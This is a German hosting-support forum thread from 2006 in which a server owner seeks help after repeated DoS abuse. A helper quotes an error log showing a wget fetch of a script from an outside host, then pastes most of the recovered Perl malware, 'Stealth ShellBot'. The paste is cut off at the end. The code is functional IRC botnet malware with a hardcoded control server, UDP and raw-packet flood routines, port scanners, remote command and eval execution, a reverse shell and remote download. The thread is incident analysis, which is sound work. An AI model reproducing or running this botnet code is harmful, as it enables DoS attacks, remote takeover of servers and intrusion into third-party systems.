Server schon wieder gehackt.

Begonnen von Musicman75, 11 Februar 2006, 12:10:41

⏪ vorheriges - nächstes ⏩

0 Mitglieder und 1 Gast betrachten dieses Thema.

Musicman75

Hallo,

mein Server wurde schon wieder gehackt (DOS Attacken auf andere Server zum 3ten Mal) und ich finde einfach keinen Fehler.
Laut Auskunft von 1und1 muss das an einem installierten php-Script liegen. Da ich außer dem vkpMx2.1b (habe jetzt aufs aktuelle Pragma upgedated) keine andere Software am laufen habe bekomme ich hier hoffentlich Hilfe.
Ich habe wie gesagt aufs neue Pragma upgedated und alle Fremdmodule erst mal entfernt. Hier eine Liste der vorher installierten Module (XX - Deaktiviert):
- Addon_Sample XX
- AmazonShop2
- Avatar
- Banners
- Chat (phpopenchat mit vkp-Integration)
- Content
- Downloads
- e-Invations (angepasst ans vkp)
- Encyclopedia XX
- FAQ XX
- FCKEditor
- Forum (SMF RC2 mit Bridge 26)
- Gallery (Coppermine 1.3.2)
- GeoUserMap
- Gothic Guide (Yellow-Map Modul)
- Guestbook
- ICQ-List XX
- Impressum
- JSM_Friendlist
- Kalender (1.3)
- legal XX
- LinkMe
- maaxStat2 XX
- Members_List
- Members_Photo_Upload
- MX_Feedback
- News
- Newsletter
- Private Messages
- Recommend us
- Reviews XX
- Search
- Sections XX
- Site update XX
- Stories Archiv
- Submit News XX
- Surveys XX
- Team
- Themetest
- Top XX
- Topics
- topMusic (www.sergids.com)
- User_Fotoalbum
- User_Registration
- UserGuest
- Userinfo
- Usersuche
- Web_Links
- Web_News XX
- Webring
- Your_Account

Logfiles des Servers sind auch vorhanden. Sie werden schon seit Wochen von 3 Leuten durchsucht, wir findes aber nichts. Haben alle auch nicht so wirklich Ahnung von Logfiles.

Danke für Hilfe.
Gruß
Steff
Unaufgeforderte Support PMs & Emails werden ignoriert

Immer erst die Boardsuche verwenden und gegebenenfalls einen neuen Threat eröffnen, wenn das Problem noch nicht behandelt wurde!

Andi

Moin :)

Ich habe ja keine grosse Ahnung von Servern etc., aber:
Zitat(DOS Attacken auf andere Server zum 3ten Mal)
ZitatLaut Auskunft von 1und1 muss das an einem installierten php-Script liegen.

Wenn ich das richtig interpretiere labern die doch Müll, was soll irgenein php-Script damit zu tun haben?
http://www.bsi-fuer-buerger.de/abzocker/05_04.htm
http://de.wikipedia.org/wiki/Denial_of_Service


Denke Jubilee kann da aber mehr dazu sagen...
schön´s Grüssle, Andi

Musicman75

Die meinen, das der Zugang auf den Server durch ein php-Script ermöglicht wird.

Hier noch die offenen Ports der vorgeschalteten Firewall:
21 80  443  25  110  123 53

Dann wart ich mal auf die Kommentare von Jubilee

Gruß
Steff
Unaufgeforderte Support PMs & Emails werden ignoriert

Immer erst die Boardsuche verwenden und gegebenenfalls einen neuen Threat eröffnen, wenn das Problem noch nicht behandelt wurde!

jubilee

Hallo !
Kann 1&1 denn, wenn die schon genau wissen das es ein php-script ist, zumindest den Teil der Logfiles angeben bzw. zur Verfügung stellen.
Sonst kommen wir nicht weiter. Wir brauchen zumindest einen Anhaltspunkt, das wir dort etwas sehen können.
Hast Du deinen Webspace mal nach Scripten abgesucht, die dort nicht hingehören (schau mal in die Verzeichnisse die chmod 777 haben, ob da irgendwelche Scriptdateien (oder andere Dateien) liegen, die du nicht dahingepackt hast).
An besten, wie gesagt, wären die Logfiles aus dem Zeitraum wo der DDOS gestartet wurde.MfG
jubilee



Musicman75

ich hab nen root server. die logfiles kann ich dir schicken.
mich interessiert nämlich auch wie die das machen.

Gruß
Steff
Unaufgeforderte Support PMs & Emails werden ignoriert

Immer erst die Boardsuche verwenden und gegebenenfalls einen neuen Threat eröffnen, wenn das Problem noch nicht behandelt wurde!

jubilee

#5
Hallo !
Ja, schick mal her (wenn möglich alle)
Um bitte ungefähr den Zeitraum angeben, wann es passiert ist.


Musicman75

Unaufgeforderte Support PMs & Emails werden ignoriert

Immer erst die Boardsuche verwenden und gegebenenfalls einen neuen Threat eröffnen, wenn das Problem noch nicht behandelt wurde!

jubilee

Guck einmal, was ich in der error-Log gefunden hab :
Zitat
perl: no process killed
mv: cannot stat `shb.txt': No such file or directory
  % Total   % Received % Xferd  Average Speed             Time             Curr.
                                Dload  Upload   Total    Current    Left   Speed

  0     0   0      0   0     0      0      0 --:--:--   0:00:01 --:--:--     0
  4 29678   4   1205   0     0    799      0   0:00:37   0:00:01   0:00:35  7130
100 29678 100  29678   0     0  13219      0   0:00:02   0:00:02   0:00:00 32685
--06:17:10--  http://www.gaycanada.com/tour/shb
           => `shb.1'
Resolving www.gaycanada.com... 209.239.20.9
Connecting to www.gaycanada.com|209.239.20.9|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 29,678 [text/plain]

    0K .......... .......... ........                        100%   29.40 KB/s

06:17:12 (29.40 KB/s) - `shb.1' saved [29,678/29,678]

sh: line 1: fetch: command not found

das Script wurde da hochgeladen:


#!/usr/bin/perl
#  ShellBOT
#  0ldW0lf - oldwolf@atrix-team.org
#      - www.atrix-team.org
# Stealth ShellBot Versão 0.2 by Thiago X
# Feito para ser usado em grandes redes de IRC sem IRCOP enchendo o saco :)
# Mudanças:
#          - O Bot pega o nick/ident/name em uma URL e entra no IRC disfarçado :);
#          - O Bot agora responde PINGs;
#          - Você pode definir o prefixo dos comandos nas configurações;
#          - Agora o Bot procurar pelo processo do apache para rodar como o apache :D;
# Comandos:
#          - Adicionado comando !estatisticas <on/off>;
#          - Alterado o comando @pacota para @oldpack;
#          - Adicionado dois novos pacotadores: @udp <ip> <porta> <tempo> e @udpfaixa <faixa de ip> <porta> <tempo>;
#          - Adicionado um novo portscan -> @fullportscan <ip> <porta inicial> <porta final>;
#          - Adicionado comando @conback <ip> <porta> com suporte para Windows/Unix :D;
#          - Adicionado comando: !sair para finalizar o bot;
#          - Adicionado comando: !novonick para trocar o nick do bot por um novo aleatorio;
#          - Adicionado comando !entra <canal> <tempo> e !sai <canal> <tempo>;
#          - Adicionado comando @download <url> <arquivo a ser salvo>;
#          - Adicionado comando !pacotes <on/off> para ativar/desativar pacotes :);

########## CONFIGURACAO ############
my $processo = '/usr/bin/perl';

$servidor='61.220.119.205' unless $servidor;
my $porta='5000';
my @canais=("#botnet");
my @adms=("Fusion", "Mr_w4r", "iz0n");

# Anti Flood ( 6/3 Recomendado )
my $linas_max=10;
my $sleep=3;

my $nick = getnick();
my $ircname = getnick();
my $realname = getnick();

my $acessoshell = 1;
######## Stealth ShellBot ##########
my $prefixo = "!all";
my $estatisticas = 0;
my $pacotes = 1;
####################################

my $VERSAO = '0.2a';

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0";
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);

my %irc_servers;
my %DCC;
my $dcc_sel = new IO::Select->new();

#####################
# Stealth Shellbot  #
#####################



sub getnick {
  #my $retornonick = &_get("http://195.112.79.15/de/xpl/nicks.php");
  #return $retornonick;
  return "bot".int(rand(1000));
}


sub getident {
  my $retornoident = &_get("http://www.minpop.com/sk12pack/idents.php");
  my $identchance = int(rand(100));
  if ($identchance > 30) {
     return $nick;
  } else {
     return $retornoident;
  }
  return $retornoident;
}

sub getname {
  my $retornoname = &_get("http://www.minpop.com/sk12pack/names.php");
  return $retornoname;
}

# IDENT TEMPORARIA - Pegar ident da url ta bugando o_o
sub getident2 {
        my $length=shift;
        $length = 3 if ($length < 3);

        my @chars=('a'..'z','A'..'Z','1'..'9');
        foreach (1..$length)
        {
                $randomstring.=$chars[rand @chars];
        }
        return $randomstring;
}

sub getstore ($$)
{
  my $url = shift;
  my $file = shift;

  $http_stream_out = 1;
  open(GET_OUTFILE, "> $file");
  %http_loop_check = ();
  _get($url);
  close GET_OUTFILE;
  return $main::http_get_result;
}

sub _get
{
  my $url = shift;
  my $proxy = "";
  grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
    my $host = $1;
    my $port = $2 || 80;
    my $path = $3;
    $path = "/" unless defined($path);
    return _trivial_http_get($host, $port, $path);
  } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
    my $host = $1;
    my $port = $2;
    my $path = $url;
    return _trivial_http_get($host, $port, $path);
  } else {
    return undef;
  }
}


sub _trivial_http_get
{
  my($host, $port, $path) = @_;
  my($AGENT, $VERSION, $p);
  #print "HOST=$host, PORT=$port, PATH=$path\n";

  $AGENT = "get-minimal";
  $VERSION = "20000118";

  $path =~ s/ /%20/g;

  require IO::Socket;
  local($^W) = 0;
  my $sock = IO::Socket::INET->new(PeerAddr => $host,
                                   PeerPort => $port,
                                   Proto   => 'tcp',
                                   Timeout  => 60) || return;
  $sock->autoflush;
  my $netloc = $host;
  $netloc .= ":$port" if $port != 80;
  my $request = "GET $path HTTP/1.0\015\012"
              . "Host: $netloc\015\012"
              . "User-Agent: $AGENT/$VERSION/u\015\012";
  $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  $request .= "\015\012";
  print $sock $request;

  my $buf = "";
  my $n;
  my $b1 = "";
  while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
    if ($b1 eq "") { # first block?
      $b1 = $buf;         # Save this for errorcode parsing
      $buf =~ s/.+?\015?\012\015?\012//s;      # zap header
    }
    if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  }
  return undef unless defined($n);

  $main::http_get_result = 200;
  if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
    $main::http_get_result = $1;
    # print "CODE=$main::http_get_result\n$b1\n";
    if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/
) {
      # redirect
      my $url = $1;
      return undef if $http_loop_check{$url}++;
      return _get($url);
    }
    return undef unless $main::http_get_result =~ /^2/;
  }

  return $buf;
}

#############################
#  B0tchZ na veia ehehe :P  #
#############################

$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}

sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my $porta_con = $_[2];

   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;

     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);

     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
     sleep 2;
   }

}
my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   &DCC::connections;
   my @ready = $sel_cliente->can_read(0.6);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines = split (/\n/, $msg);

     for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp='';
       $line =~ s/\r$//;
       unless ($c == $#lines) {
         parse("$line");
       } else {
           if ($#lines == 0) {
             parse("$line");
           } elsif ($lines[$c] =~ /\r$/) {
               parse("$line");
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line");
           } else {
               $line_temp = $line;
           }
       }
      }
   }
}

sub parse {
   my $servarg = shift;
   if ($servarg =~ /^PING \:(.*)/) {
     sendraw("PONG :$1");
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my $pn=$1; my $onde = $4; my $args = $5;
       if ($args =~ /^\001VERSION\001$/) {
         notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
       }
       elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
         notice("$pn", "\001PONG\001");
       }
       elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
         }
         elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =~ /^\!(.*)/) {
              ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^\!nick/);
            } elsif ($arg =~ /^\@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1");
            } else {
                shell("$onde", "$arg");
            }
         }
       }
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4;
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       }
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
       $meunick = getnick();
       nick("$meunick");
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@canais) {
         sendraw("JOIN $canal");
       }
   }
}

sub bfunc {
  my $printl = $_[0];
  my $funcarg = $_[1];
  if (my $pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           if ($funcarg =~ /^portscan (.*)/) {
             my $hostip="$1";
             my @portas=("21","22","23","25","53","80","110","143");
             my (@aberta, %porta_banner);
             foreach my $porta (@portas)  {
                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
                if ($scansock) {
                   push (@aberta, $porta);
                   $scansock->close;
                }
             }
             if (@aberta) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @aberta");
             } else {
                 sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
             }
           }
           
           elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
            getstore("$1", "$2");
            sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Concluído!") if ($estatisticas);
            }
             
           elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {
             my $hostname="$1";
             my $portainicial = "$2";
             my $portafinal = "$3";
             my (@abertas, %porta_banner);
             foreach my $porta ($portainicial..$portafinal)
             {
               my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
               if ($scansock) {
                 push (@abertas, $porta);
                 $scansock->close;
                 if ($estatisticas) {
                   sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta em $hostname");
                 }
               }
             }
             if (@abertas) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abertas");
             } else {
               sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
             }
            }

            # Duas Versões simplificada do meu Tr0x ;D
            elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
              return unless $pacotes;
              socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
              my $alvo=inet_aton("$1");
              my $porta = "$2";
              my $tempo = "$3";
              my $pacote;
              my $pacotese;
              my $fim = time + $tempo;
              my $pacota = 1;
              while (($pacota == "1") && ($pacotes == "1")) {
                $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
                $pacote=$rand x $rand x $rand;
                $porta = int(rand 65000) +1 if ($porta == "0");
                send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
              }
              if ($estatisticas)
              {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $1");
              }
            }
           
            elsif ($funcarg =~ /^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) {
              return unless $pacotes;
              socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
              my $faixaip="$1";
              my $porta = "$2";
              my $tempo = "$3";
              my $pacote;
              my $pacotes;
              my $fim = time + $tempo;
              my $pacota = 1;
              my $alvo;
              while ($pacota == "1") {
                $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
                for (my $faixa = 1; $faixa <= 255; $faixa++) {
                  $alvo = inet_aton("$faixaip.$faixa");
                  $pacote=$rand x $rand x $rand;
                  $porta = int(rand 65000) +1 if ($porta == "0");
                  send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
                  if ($faixa >= 255) {
                    $faixa = 1;
                  }
                }
              }
              if ($estatisticas)
              {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $alvo");
              }
            }
           
            # Conback.pl by Dominus Vis adaptada e adicionado suporte pra windows ;p
            elsif ($funcarg =~ /^conback\s+(.*)\s+(\d+)/) {
              my $host = "$1";
              my $porta = "$2";
              my $proto = getprotobyname('tcp');
              my $iaddr = inet_aton($host);
              my $paddr = sockaddr_in($porta, $iaddr);
              my $shell = "/bin/sh -i";
              if ($^O eq "MSWin32") {
                $shell = "cmd.exe";
              }
              socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
              connect(SOCKET, $paddr) or die "connect: $!";
              open(STDIN, ">&SOCKET");
              open(STDOUT, ">&SOCKET");
              open(STDERR, ">&SOCKET");
              system("$shell");
              close(STDIN);
              close(STDOUT);
              close(STDERR);

              if ($estatisticas)
              {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando-se em\002: $host:$porta");
              }
            }

           elsif ($funcarg =~ /^oldpack\s+(.*)\s+(\d+)\s+(\d+)/) {
            return unless $pacotes;
             my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
             $dtime = 1 if $dtime == 0;
             my %bytes;
             $bytes{igmp} = $2 * $pacotes{igmp};
             $bytes{icmp} = $2 * $pacotes{icmp};
             $bytes{o} = $2 * $pacotes{o};
             $bytes{udp} = $2 * $pacotes{udp};
             $bytes{tcp} = $2 * $pacotes{tcp};
             unless ($estatisticas)
             {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status GERAL -\002");
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s");
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} +  $pacotes{o}));
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Média de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
             }
           }
           exit;
       }
  }
}

sub ircase {
  my ($kem, $printl, $case) = @_;

   if ($case =~ /^join (.*)/) {
     j("$1");
   }
   elsif ($case =~ /^part (.*)/) {
      p("$1");
   }
   elsif ($case =~ /^rejoin\s+(.*)/) {
      my $chan = $1;
      if ($chan =~ /^(\d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2");
          j("$2");
        }
      } else {
          p("$chan");
          j("$chan");
      }
   }
   elsif ($case =~ /^op/) {
      op("$printl", "$kem") if $case eq "op";
      my $oarg = substr($case, 3);
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   elsif ($case =~ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";
      my $oarg = substr($case, 5);
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   elsif ($case =~ /^voice/) {
      voice("$printl", "$kem") if $case eq "voice";
      $oarg = substr($case, 6);
      voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   elsif ($case =~ /^devoice/) {
      devoice("$printl", "$kem") if $case eq "devoice";
      $oarg = substr($case, 8);
      devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   elsif ($case =~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2");
   }
   elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3");
      }
   }
   elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3");
      }
   }
   elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2");
   }
   elsif ($case =~ /^invite\s+(\S+) (.*)/) {
      invite("$1", "$2");
   }
   elsif ($case =~ /^nick (.*)/) {
      nick("$1");
   }
   elsif ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", 6667);
   }
   elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
      DCC::SEND("$1", "$2");
   }
   elsif ($case =~ /^raw (.*)/) {
      sendraw("$1");
   }
   elsif ($case =~ /^eval (.*)/) {
      eval "$1";
   }
   elsif ($case =~ /^entra\s+(\S+)\s+(\d+)/) {
    sleep int(rand($2));
    j("$1");
   }
   elsif ($case =~ /^sai\s+(\S+)\s+(\d+)/) {
    sleep int(rand($2));
    p("$1");
   }
   elsif ($case =~ /^sair/) {
     quit();
   }
   elsif ($case =~ /^novonick/) {
    my $novonick = getnick();
     nick("$novonick");
   }
   elsif ($case =~ /^estatisticas (.*)/) {
     if ($1 eq "on") {
      $estatisticas = 1;
      msg("$printl", "Estatísticas ativadas!");
     } elsif ($1 eq "off") {
      $estatisticas = 0;
      msg("$printl", "Estatísticas desativadas!");
     }
   }
   elsif ($case =~ /^pacotes (.*)/) {
     if ($1 eq "on") {
      $pacotes = 1;
      msg("$printl", "Pacotes ativados!") if ($estatisticas == "1");
     } elsif ($1 eq "off") {
      $pacotes = 0;
      msg("$printl", "Pacotes desativados!") if ($estatisticas == "1");
     }
   }
}
sub shell {
  return unless $acessoshell;
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =~ /cd (.*)/) {
    chdir("$1") || msg("$printl", "Diretório inexistente!");
    return;
  }
  elsif ($pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`$comando 2>&1 3>&1`;
           my $c=0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
             if ($c >= "$linas_max") {
               $c=0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}

#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
sub attacker {
  my $iaddr = inet_aton($_[0]);
  my $msg = 'B' x $_[1];
  my $ftime = $_[2];
  my $cp = 0;
  my (%pacotes);
  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;

  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  return(undef) if $cp == 4;
  my $itime = time;
  my ($cur_time);
  while ( 1 ) {
     for (my $porta = 1; $porta <= 65535; $porta++) {
       $cur_time = time - $itime;
       last if $cur_time >= $ftime;
       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);

       # DoS ?? :P
       for (my $pc = 3; $pc <= 255;$pc++) {
         next if $pc == 6;
         $cur_time = time - $itime;
         last if $cur_time >= $ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
       }
     }
     last if $cur_time >= $ftime;
  }
  return($cur_time, %pacotes);
}

#############
#  ALIASES  #
#############

sub action {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
}

sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :$_[1]");
}

sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_[0] :$_[1]");
}

sub op {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -o $_[1]");
}
sub hop {
    return unless $#_ == 1;
   sendraw("MODE $_[0] +h $_[1]");
}
sub dehop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +h $_[1]");
}
sub voice {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +v $_[1]");
}
sub devoice {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -v $_[1]");
}
sub ban {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +b $_[1]");
}
sub unban {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -b $_[1]");
}
sub kick {
   return unless $#_ == 1;
   sendraw("KICK $_[0] $_[1] :$_[2]");
}

sub modo {
   return unless $#_ == 0;
   sendraw("MODE $_[0] $_[1]");
}
sub mode { modo(@_); }

sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {sendraw("PART $_[0]");}

sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_[0]");
}

sub invite {
   return unless $#_ == 1;
   sendraw("INVITE $_[1] $_[0]");
}
sub topico {
   return unless $#_ == 1;
   sendraw("TOPIC $_[0] $_[1]");
}
sub topic { topico(@_); }

sub whois {
  return unless $#_ == 0;
  sendraw("WHOIS $_[0]");
}
sub who {
  return unless $#_ == 0;
  sendraw("WHO $_[0]");
}
sub names {
  return unless $#_ == 0;
  sendraw("NAMES $_[0]");
}
sub away {
  sendraw("AWAY $_[0]");
}
sub back { away(); }
sub quit {
  sendraw("QUIT :$_[0]");
  exit;
}

# DCC
package DCC;

sub connections {
   my @ready = $dcc_sel->can_read(1);
#   return unless (@ready);
   foreach my $fh (@ready) {
     my $dcctipo = $DCC{$fh}{tipo};
     my $arquivo = $DCC{$fh}{arquivo};
     my $bytes = $DCC{$fh}{bytes};
     my $cur_byte = $DCC{$fh}{curbyte};
     my $nick = $DCC{$fh}{nick};

     my $msg;
     my $nread = sysread($fh, $msg, 10240);

     if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
        $DCC{$fh}{status} = "Cancelado";
        $DCC{$fh}{ftime} = time;
        $dcc_sel->remove($fh);
        $fh->close;
        next;
     }

     if ($dcctipo eq "get") {
        $DCC{$fh}{curbyte} += length($msg);

        my $cur_byte = $DCC{$fh}{curbyte};

        open(FILE, ">> $arquivo");
        print FILE "$msg" if ($cur_byte <= $bytes);
        close(FILE);

        my $packbyte = pack("N", $cur_byte);
        print $fh "$packbyte";

        if ($bytes == $cur_byte) {
           $dcc_sel->remove($fh);
           $fh->close;
           $DCC{$fh}{status} = "Recebido";
           $DCC{$fh}{ftime} = time;
           next;
        }
     } elsif ($dcctipo eq "send") {
          my $send = $fh->accept;
          $send->autoflush(1);
          $dcc_sel->add($send);
          $dcc_sel->remove($fh);
          $DCC{$send}{tipo} = 'sendcon';
          $DCC{$send}{itime} = time;
          $DCC{$send}{nick} = $nick;
          $DCC{$send}{bytes} = $bytes;
          $DCC{$send}{curbyte} = 0;
          $DCC{$send}{arquivo} = $arquivo;
          $DCC{$send}{ip} = $send->peerhost;
          $DCC{$send}{porta} = $send->peerport;
          $DCC{$send}{status} = "Enviando";

          #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
          open(FILE, "< $arquivo");
          my $fbytes;
          read(FILE, $fbytes, 1024);
          print $send "$fbytes";
          close FILE;
#          delete($DCC{$fh});
     } elsif ($dcctipo eq 'sendcon') {
          my $bytes_sended = unpack("N", $msg);
          $DCC{$fh}{curbyte} = $bytes_sended;
          if ($bytes_sended == $bytes) {
             $fh->close;
             $dcc_sel->remove($fh);
             $DCC{$fh}{status} = "Enviado";
             $DCC{$fh}{ftime} = time;
             next;
          }
          open(SENDFILE, "< $arquivo");
          seek(SENDFILE, $bytes_sended, 0);
          my $send_bytes;
